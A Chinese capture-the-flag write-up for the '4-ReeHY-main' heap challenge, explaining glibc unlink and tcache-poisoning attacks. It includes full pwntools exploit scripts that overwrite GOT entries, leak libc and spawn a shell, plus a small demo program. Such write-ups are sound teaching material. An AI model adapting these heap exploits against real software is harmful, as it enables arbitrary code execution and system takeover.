0%

4-ReeHY-main

Libc2.26以下的解法

使用的是double free的unlink漏洞

unlink是利用glibc malloc 的内存回收机制造成攻击的,核心就在于当两个free的堆块在物理上相邻时,会将他们合并,并将原来free的堆块在原来的链表中解链,加入新的链表中,但这样的合并是有条件的,向前或向后合并。

Unsorted bin使用双向链表维护被释放的空间,如果有一个堆块准备释放,它的物理相邻地址处如果有空闲堆块,并且空闲堆块不是TOP块,则会与相邻的堆块合并,即unlink后。相当于从双向链表里删除P,这里的关键就是
FD->bk = BK
BK->fd = FD

1
2
3
4
5
6
7
8
9
10
#define unlink(P, BK, FD) { \  
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P); \
else { \
FD->bk = BK; \
BK->fd = FD; \
........
}

以本题为例

0x6020E0处是一个数组,用于保存4个堆的地址,当我们需要编辑时,程序从这个数组里找到对应的堆地址,去访问。假如我们有办法让这个数组里存的是其他地址(比如某些函数的GOT表地址),那么当我们编辑的时候,不就可以对GOT表修改了吗。

那么,我们如何做到修改这个数组的内容呢?这个数组只有在创建堆的时候,才有赋值。

我们可以利用unlink,先想办法让数组里某一个堆地址指向这个数组的附近,那么我们对那个堆编辑时就是编辑这个数组附近的那个地址。

假如我们有一个这样的堆

1
2
3
4
5
6
7
Chunk0(空闲)
Prevsize=0 size=0x101
Fd =0x6020C8 BK =0x6020D0
DATA=XXXXXXXXXXXXXXXXXXXX
Chunk1(使用中)
Prevsize=0x100 size=0x100
DATA=xxxxxxxxxxxxxxxxxxxx

那么,当我们释放chunk1的时候,会与chunk0发生unlink

首先,内存管理程序检查chunk1的size=0x100,即最后的一个bit为0,说明前一个chunk处于空闲状态,那么,它会与前一个块发生合并,即从unsorted bin双向链表里删除前一个块,然后与自己合并后再加入unsorted bin

那么会调用unlink(prev_chunk(chunk1),NULL,NULL)

在unlink函数中
P = chunk0
FD=chunk0->fd = 0x6020C8
BK=chunk0->bk = 0x6020D0

根据chunk的数据结构(请看glibc源码分析),我们可以知道

1
2
3
4
5
6
FD->bk = *(FD+(8*3)) = *(0x6020E0)
BK->fd = *(BK + (8*2)) = *(0x6020E0)

而0x6020E0就是存放4个堆地址的数组的地址
*(0x6020E0)就是数组的第一个元素,也就是堆0的地址,堆0也就是我们这里的P
这样,绕过了corrupted double-linked list检查

接下来

1
2
FD->bk = BK即*(0x6020E0) = 0x6020D0
BK->fd = FD即*(0x6020E0) = 0x6020C8

即数组的第1个元素被我们改成了0x6020C8,也就是相当于堆0指向了0x6020C8

那么,我们编辑堆0也就是在编辑0x6020C8处,而此处的下方就是保存堆指针的数组,那么就可以构造payload来修改这个数组,这就是原理

通过以上分析,我们可以这样,在真正的chunk0里,构造一个假的chunk,并伪造它的状态为释放的状态。

要达到这个目的,就需要堆溢出,覆盖chunk1的头信息

首先,这个程序的delete功能没有检查下标为负数的情况

经过调试,当我们delete(-2)时,释放的正好是0x6020C0处元素指向的堆(保存4个堆大小的堆)

它的大小为0x14,释放后归于fastbin

当我们再次malloc(0x14)申请时,便会返回这个释放后的堆的地址(fastbin的特性,使用单向链表维护释放后的块,再次申请时最先返回最后放入的那个块,类似于栈),于是我们编辑申请的这个堆,就是编辑保存4个堆大小的堆,这个大小信息在 编辑功能时会用到,我们要先溢出堆,就需要修改大小限制

我们edit申请的这个堆,构造payload,修改第一个堆的大小信息为0x200,这样我们在edit第一个堆时,就能溢出了

那么接下来,就是构造假的堆,来触发unlink了。

Chunk1的prev_size和size也是关键

1
#define prev_chunk(p) ((mchunkptr)( ((char*)(p)) - ((p)->prev_size) ))  

Chunk1的地址减去prev_size就是chunk0,还有就是size的最后1个bit为0,代表前一个块chunk0处于空闲状态

实际上,真正的chunk0是chunk1-0x110,因为chunk0也有prev_size和size字段,我们这里构造假的空闲chunk0’,并且chunk1的prev_size为0x100,让系统误以为chunk0是在chunk1-0x100处开始的,这就骗过了系统。

至于那个假的chunk的fd和bk,它的值关键,既要绕过检测,也要达到我们的目的。这里有一个公式,假如,被unlink的块P指针的地址为Paddr,那么设置fd=Paddr – 0x18,设置bk = Paddr – 0x10,根据chunk的数据结构可以很容易推出,最终导致P的指针指向了Paddr – 0x18

那么接下来,我们就可以修改数组里保存的4个堆指针了,让它们指向一些关键的地方。
然后再分别edit(0,xx),edit(1,xxx),edit(2,xxx),edit(3,xxxx),修改关键地方的数据。比如修改got表。最终getshell。

我们完整的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#coding:utf8  
#注意glib 2.26开始,加入了tcache机制,本方案不在试用,但仍然可以利用其它方案
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
sh = process('./4-ReeHY-main')
#elf = ELF('./4-ReeHY-main')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

#sh = remote('111.198.29.45',54211)

def welcome():
sh.sendlineafter('$','seaase')

def create(size,index,content):
sh.sendlineafter('$','1')
sh.sendlineafter('Input size\n',str(size))
sh.sendlineafter('Input cun\n',str(index))
sh.sendafter('Input content\n',content)

def delete(index):
sh.sendlineafter('$','2')
sh.sendlineafter('Chose one to dele\n',str(index))

def edit(index,content):
sh.sendlineafter('$','3')
sh.sendlineafter('Chose one to edit\n',str(index))
sh.sendafter('Input the content\n',content)

#处理开始
welcome()
#先创建两个0x100的堆(不要太大,也不要太小,这样使用unsorted bin)
create(0x100,0,'a'*0x100)
create(0x100,1,'b'*0x100)

#delete功能没有检查下标越界,delete(-2)就是释放记录4个cun大小的那个堆空间
delete(-2)

payload = p32(0x200) + p32(0x100)
#根据堆fastbin的特性,新申请的空间位于刚刚释放的那个小内存处,将覆盖原来的那个内容,相当于qword_6020C0[0] = 0x200,
#这样功能3 read的时候就可以溢出堆(本来只读取那么多,现在可以多读取0x100字节)
create(0x14,2,payload)

#现在我们要在第一个堆里构造一个假的堆结构了
# prev_size size 末尾的1标志前一个块不空闲
payload = p64(0) + p64(0x101)
# FD 和 BK分别是后一个块的指针和前一个块的指针,构成双向链表
# if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
# malloc_printerr (check_action, "corrupted double-linked list", P);
#为了绕过验证,首先
# FD = *(P + size + 0x10)
# BK = *(P - Prev_Size + 0x18)
# FD->bk = *(P + size + 0x10) - FD->Prev_Size + 0X18
# BK->fd = *(P - Prev_Size + 0x18) + BK->size + 0x10
# 上面即检测双向链表的完整性
# 如果通过
# unlink里的关键代码
# FD->bk = BK;
# BK->fd = FD;
# 我们现在的目的是,利用这两个指针修改的操作,来修改我们想要的位置
# 这个程序中,在0x6020E0是一个数组,用来保存着4个堆的指针
# 如果我们想办法把这些堆指针改成某些函数的got表地址,那么我们下次read时,数据就会覆盖got表
# 因此,如果 (P + size + 0x10) = 0x6020E0 ,(P - Prev_Size + 0x18) = 0x6020E0
# 即P + size = 0x6020D0,P - Prev_Size = 0x6020C8
# 即BK = 0x6020D0 ,FD = 0x6020C8
# 即P->fd = 0x6020C8,P->bk = 0x6020D0
# 现在,主角是P,我们让第一个堆为主角
payload += p64(0x6020C8) + p64(0x6020D0)
#填充满第一个块
payload += 'a'*(0x100-4*8);
#溢出到第二个块
# prev_size size
# 对于使用中的块,它的结构是这样的
# prev_size 8 byte
# size 8 byte
#修改第二个块的Prev_Size,造成前一个块被释放的假象
payload += p64(0x100) + p64(0x100 + 2 * 8)
#发送payload,修改堆结构
edit(0,payload)
#现在我们调用delete(1)释放第二个块,它会和我们伪造的块进行unlink合并
#
# 执行
# FD->bk = BK;
# BK->fd = FD;
#
# 即*(0x6020C8+0x18) = 0x6020D0
# *(0x6020D0 + 0x10) = 0x6020C8
# 最终即0x6020E0 = 0x6020C8
# 这样,由于0x6020E0处是用于保存第1个堆指针的,现在被我们指向了0x6020C8处,于是我们向第1个堆输入数据都会存于这里
#触发unlink
delete(1)

elf = ELF('./4-ReeHY-main')
free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
#于是,我们可以根据结构,布局payload来覆盖0x6020E04处的几个堆的指针
payload = '\x00'*0x18 #padding
payload += p64(free_got) + p64(1)
payload += p64(puts_got) + p64(1)
payload += p64(atoi_got) + p64(1)

#执行后,前3个堆指针都被我们指向了几个函数的got地址处
edit(0,payload)
#修改free的got地址为puts的plt地址
edit(0,p64(puts_plt))
#即调用puts_plt(puts_got),泄露puts的加载地址
delete(1)
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))

print hex(puts_addr)
libc = LibcSearcher('puts',puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system');
#修改atoi的got地址为system的got地址
edit(2,p64(system_addr))

#get shell
sh.sendlineafter('$','/bin/sh')

sh.interactive()

以上解法在libc2.26以前测试成功。然而,我们的目的并不只是为了获得flag。我们要更广泛的学习。在libc2.26及以后,加入了tcache机制,使得上述方案有些改变,但是基本原理还是一样。  

Libc2.26即以上的解法

Tcache是libc2.26之后引进的一种新机制,类似于fastbin一样的东西,每条链上最多可以有 7 个 chunk,free的时候当tcache满了才放入fastbin,unsorted bin,malloc的时候优先去tcache找

相比较double free,tcache机制反而使得我们的攻击变得简单

Tcache使用单项链表维护。tache posioning 和 fastbin attack类似,而且限制更加少,不会检查size,直接修改 tcache 中的 fd,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。tcache机制允许,将空闲的chunk以链表的形式缓存在线程各自tcache的bin中。下一次malloc时可以优先在tcache中寻找符合的chunk并提取出来。他缺少充分的安全检查,如果有机会构造内部chunk数据结构的特殊字段,我们可以有机会获得任意想要的地址。

我们看看tcache关键处的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static __always_inline void *  
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
//idx防止越界
assert (tc_idx < TCACHE_MAX_BINS);
//确实有块
assert (tcache->entries[tc_idx] > 0);
//取出第一个块
tcache->entries[tc_idx] = e->next;
//计数减少
--(tcache->counts[tc_idx]);
//key设置为null
e->key = NULL;
//返回chunk
return (void *) e;
}

其实就是取出单链表头结返回,然后设置新的头结点

假如我们写了这样的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<stdio.h>  
#include<malloc.h>
#include<string.h>

int main(int n,char **args) {
char buf0[20] = "hello";
char *buf1 = (char *)malloc(32);
char *buf2 = (char *)malloc(32);
char *buf3;
char *buf4;
memset(buf1,'a',32);
memset(buf2,'b',32);
free(buf2);

scanf("%s",buf1);

buf3 = (char *)malloc(32);
buf4 = (char *)malloc(32);
scanf("%s",buf4);

printf("%s",buf0);

return 0;
}

Free buf2后,buf2块被放入tcache,其中,块的fd指向下一个空闲块,这里,我们只释放了一个块,如果我们再释放一个,那么buf2的fd就会指向那个块。当我们重新申请一样大小的堆时,从tcache的头取出一个块返回给用户,然后下一个空闲块成为新的头。假如我们伪造fd指向我们需要修改的地址处,那么我们再次malloc时便可以让堆指针指向那个地址处,于是我们就能修改那个地方的内容了。
上述的脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *  

sh = process('./test')

#0x7FFFFFFFE560就是我们的目标地址
payload = 'a'*32 + p64(0) + p64(0x31)
payload += p64(0x7FFFFFFFE560)

sh.sendline(payload)

sh.sendline('hello,hacker!\n');

sh.interactive()

0x7FFFFFFFE560是存放hello字符串的位置,我们通过tcache攻击,修改了该处的内容为hello,hacker!\n
后面都是同样的道理,于是本题,我们的脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#coding:utf8  
#本方案基于tcache机制,适用于libc2.26即更高版本的环境,以下版本不适用
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
sh = process('./4-ReeHY-main')

#sh = remote('111.198.29.45',33297)

def welcome():
sh.sendlineafter('$','seaase')

def create(size,index,content):
sh.sendlineafter('$','1')
sh.sendlineafter('Input size\n',str(size))
sh.sendlineafter('Input cun\n',str(index))
sh.sendafter('Input content\n',content)

def delete(index):
sh.sendlineafter('$','2')
sh.sendlineafter('Chose one to dele\n',str(index))

def edit(index,content):
sh.sendlineafter('$','3')
sh.sendlineafter('Chose one to edit\n',str(index))
sh.sendafter('Input the content\n',content)


welcome()

#开辟两个空间
create(0x40,0,'a'*0x40)
create(0x40,1,'b'*0x40)
#溢出,释放保存堆大小的数组
delete(-2)
#构造payload修改第二个堆的大小信息,只是信息,堆的大小并没有改变
payload = p32(0x80) + p32(0x40)
create(0x14,2,payload)
#删除第二个堆
delete(1)

#构造payload覆盖第二个堆的fd指针
payload = 'a' * 0x40
payload += p64(0) + p64(0x51)
#覆盖块2的fd
payload += p64(0x6020e0)
edit(0,payload)
#重新申请回来这个空间
create(0x40,1,'c'*0x40)


elf = ELF('./4-ReeHY-main')
free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']

payload = p64(free_got) + p64(1)
payload += p64(puts_got) + p64(1)
payload += p64(atoi_got) + p64(1)
#接下来,我们申请的堆指针指向0x6020e0
#那么我们可以为所欲为了
#覆盖数组里的前三个堆指针分别为free_got、puts_got、atoi_got的地址
#于是,堆指针0指向free,堆指针1指向puts,堆指针2指向atoi
create(0x40,3,payload)
#修改free的got地址为puts的plt地址
edit(0,p64(puts_plt))
#相当于puts(puts_got)
#泄露puts地址
delete(1)
#获取puts的加载地址
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
#LibcSearcher搜索数据库,查询libc版本
libc = LibcSearcher('puts',puts_addr)

libc_base = puts_addr - libc.dump('puts')
#获取system的地址
system_addr = libc_base + libc.dump('system')
#修改atoi的got地址为system的地址
edit(2,p64(system_addr))
#getshell
sh.sendlineafter('$','/bin/sh')

sh.interactive()